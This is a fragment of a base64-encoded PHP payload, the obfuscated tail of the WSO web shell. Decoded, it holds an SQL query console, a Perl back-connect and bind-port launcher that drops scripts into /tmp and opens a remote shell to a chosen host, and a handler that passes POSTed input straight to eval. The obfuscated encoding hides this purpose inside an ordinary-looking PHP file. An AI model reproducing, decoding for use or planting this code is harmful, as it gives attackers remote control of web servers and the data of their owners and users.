ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGU9dHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPjx0cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmU9PTE/MjoxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID09IG51bGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7DQogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgaW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4+Jz4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+DQogICAgICAgIDxzcGFuPkJhY2stY29ubmVjdCAgW3BlcmxdPC9zcGFuPjxici8+DQogICAgICAgIFNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPg0KICAgICAgICA8L2Zvcm0+PGJyPiI7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBjZigkZiwkdCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHcgPSBAZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHcpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCiAgICAgICAgICAgIHNsZWVwKDEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOw0KICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JwLnBsIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsNCiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICB3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblJDKCkgew0KICAgICAgICBpZighQCRfUE9TVFsncDEnXSkgew0KICAgICAgICAgICAgICAgICRhID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAidW5hbWUiID0+IHBocF91bmFtZSgpLA0KICAgICAgICAgICAgICAgICAgICAgICAgInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksDQogICAgICAgICAgICAgICAgICAgICAgICAid3NvX3ZlcnNpb24iID0+IFdTT19WRVJTSU9OLA0KICAgICAgICAgICAgICAgICAgICAgICAgInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGVjaG8gc2VyaWFsaXplKCRhKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7DQogICAgICAgIH0NCn0NCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQ0KICAgICAgICBpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpDQogICAgICAgICAgICAgICAgJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsNCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApDQogICAgICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOw0KZXhpdDs=")); ?>